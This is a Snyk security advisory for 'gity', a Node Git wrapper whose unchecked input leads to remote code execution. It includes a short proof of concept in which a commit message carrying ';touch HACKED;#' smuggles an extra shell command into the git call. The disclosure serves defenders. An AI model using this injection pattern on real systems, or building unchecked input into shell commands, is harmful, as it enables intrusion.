Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsLearn about Remote Code Execution (RCE) vulnerabilities in an interactive lesson.
Start learningThere is no fixed version for gity
.
gity is a Git wrapper for Node.
Affected versions of this package are vulnerable to Remote Code Execution (RCE). A user input is formatted inside a command that will be executed without any check.
// poc.js var Git = require('gity');
var git = Git() .add('*.js') .commit('-m "added js files";touch HACKED;#') .run();
HACKED
npm i gity # Install affected module
node poc.js # Run the PoC
HACKED
has been created